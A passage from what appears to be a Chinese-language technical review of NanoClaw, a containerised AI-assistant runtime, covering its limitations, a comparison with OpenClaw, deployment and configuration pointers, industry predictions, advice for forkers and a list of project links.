| macOS Docker Desktop 限制 | 容器必须跑在 Linux VM 后端(macOS Docker Desktop 默认行为,但 Apple Silicon 原生容器不支持)。 | WSL2 / Linux 主机完全原生支持。 |
| Provider trunk 只内置 Claude | 想用 GPT / Gemini 需要 skill 注入。 | 是设计哲学(”Best harness, best model”),不是 bug。 |
| 学习曲线陡 | 要理解 SQLite journal mode / VirtioFS / egress iptables 才能 debug。 | SPEC.md + architecture.md 写得非常详尽。 |
| Trunk 内 channel 数 = 0 | 第一次 clone 下来没有任何 IM channel,要手动 /add-slack 才能用。 | 是哲学(”不污染 trunk”),但新手可能困惑。 |
14.3 与 OpenClaw 的关键抉择
| 维度 | 选 NanoClaw 的理由 | 选 OpenClaw 的理由 |
|---|---|---|
| 响应延迟 | OpenClaw 更快(共享进程) | ✅ 1-10s vs NanoClaw 3-15s |
| 安全模型 | ✅ 容器 + OneCLI Vault 三层防御 | OpenClaw 靠应用层 |
| 代码可读性 | ✅ 102 文件可审计 | 50 万行难读 |
| 生产鲁棒性 | ✅ OS 级隔离,Prompt Injection 跨不过去 | OpenClaw 单点故障 |
| 上手难度 | 需要懂 Docker + SQLite journal mode | ✅ 开箱即用 |
| 维护成本 | ✅ skill 扩展模型 | 内置多 channel 维护负担 |
结论:如果你打算把 AI 助手跑在生产环境(家庭/团队 7×24 运行)→ NanoClaw;如果你只是个人试用 + 不想碰 Docker → OpenClaw。
15. 实践、部署与未来趋势
15.1 快速部署
1 | # 1. 装前置(脚本会自动检测) |
15.2 三个关键配置点
1 | # .env 文件(host 端) |
15.3 高级用法:自定义 Agent Group
1 | @Andy /create-agent-group sensitive-payments \ |
15.4 未来趋势预测
趋势 1:OS 级隔离成为生产 AI 助手的标配
2026 H2 各大 AI 助手项目都会逐步加 OS 级隔离。当前状态:
- NanoClaw 走最远(容器 + OneCLI + egress lockdown)
- OpenClaw / Hermes Agent 仍靠应用层
- cc-haha 走 Swift native helper(macOS only)
预测:2027 H1 之前,生产级 AI 助手 = 容器 + 凭据网关 + 应用层审批会成为行业默认架构。
趋势 2:SQLite 双 DB 模式扩散到其他 Agent 框架
NanoClaw 的双 DB 拆分(inbound.db + outbound.db,journal_mode=DELETE)解决了”跨进程 IO + 可调试性”的矛盾。这是被严重低估的设计。预测:
- 未来会出现
agent-runtime-sdk把这个模式抽象成 library - 会有项目把它和 WAL 性能差异做正式 benchmark,证明 DELETE 在大多数场景够用
- 跨 VM/容器/Serverless 的 Agent 都会参考这个模式
趋势 3:Chat SDK 抽象层成为 IM 适配的标准
Chat SDK Bridge(NanoClaw)+ 1 个统一协议层取代 13 套手写 adapter,是 IM 适配的正确解法。预测:
- 2027 H1 会出现至少一个开源 Chat SDK for AI agents 项目(标准化 Chat SDK 接口)
- 各 IM 平台(Slack / Teams / Discord)会自己出官方 Chat SDK for AI(避免被中间层卡脖子)
趋势 4:OneCLI / 凭据网关作为独立产品出现
OneCLI 现在是 NanoClaw 的子项目(独立 Rust 进程),但它的能力——短时 token + scope 控制 + rate limit per agent + audit log——是所有 AI 代理平台都需要的基础设施。
预测:2027 H1 会有 vault-agent.io / keychain-agent.com 之类的独立 SaaS,提供”agent 凭据托管”服务,按 scope 计费。AI 代理的安全层会从”业余项目附属”变成”专业 SaaS”。
15.5 给”想自己 fork 的人”的工程经验
如果你想基于 NanoClaw 二次开发:
- 不要碰 src/container-runner.ts 的核心逻辑——55k 字符是被反复重构的。通过 driver seam 扩展,不要 fork driver。
- 加新 channel 必须走 skill——不要 import 进 trunk,否则违反”skills over features”哲学,会立刻被作者拒绝 PR。
- 写 v2.db 迁移一定要走 db/migrations/——裸改 schema 会让 adoptRunningSessions 失败。
- 测试必须覆盖三层:host unit test + container integration test + 端到端 e2e——只有 unit test 会漏掉 VirtioFS / iptables 等基础设施层的 bug。
- 改 journal_mode 是破坏性变更——DELETE → WAL 会让所有现有 session 的 reader 冻结,永远读不到新数据。除非重新设计整个 IO 协议。
- OneCLI 的 API breaking change 会让你所有用户的容器瞬时不可用——订阅 nanocoai/onecli releases,及时跟进。
15.6 一句话总结
NanoClaw 的核心洞察不是”用 Docker 隔离 Agent”(这早就有人做),而是**”SQLite 双 DB + DELETE journal mode + journal_mode=DELETE 规避 VirtioFS WAL shm 失效”** + “OneCLI 把凭据从 Agent 进程剥离” 这两个反直觉的工程决策。
这两个决策都不是”AI 创新”,是数据库工程和操作系统工程的成果,被一个 AI Agent 项目恰到好处地用到了正确的地方。
如果你在评估生产 AI 助手运行时——安全鲁棒性 > 启动速度 > 功能广度,NanoClaw 是当前开源项目的最佳答案。
附录:关键资源
| 资源 | 链接 |
|---|---|
| GitHub 仓库 | https://github.com/nanocoai/nanoclaw |
| 项目官网 | https://nanoclaw.dev |
| 文档站 | https://docs.nanoclaw.dev |
| SPEC (v1 历史) | https://github.com/nanocoai/nanoclaw/blob/main/docs/SPEC.md |
| v2 Architecture | https://github.com/nanocoai/nanoclaw/blob/main/docs/architecture.md |
| v2 Architecture Diagram | https://github.com/nanocoai/nanoclaw/blob/main/docs/architecture-diagram.md |
| Isolation Model | https://github.com/nanocoai/nanoclaw/blob/main/docs/isolation-model.md |
| Memory System | https://github.com/nanocoai/nanoclaw/blob/main/docs/memory.md |
| Security Model | https://github.com/nanocoai/nanoclaw/blob/main/docs/SECURITY.md |
| Build & Runtime | https://github.com/nanocoai/nanoclaw/blob/main/docs/build-and-runtime.md |
| OneCLI (凭据网关) | https://github.com/onecli/onecli |
| License | MIT |
本文基于 nanoclaw 仓库截至 2026-09-07 的代码(commit 30,711 stars,pushed 2026-09-06)。所有架构描述基于 docs/architecture.md 和源码 src/container-runner.ts、src/session-manager.ts、src/drivers/、container/agent-runner/src/index.ts 等真实文件。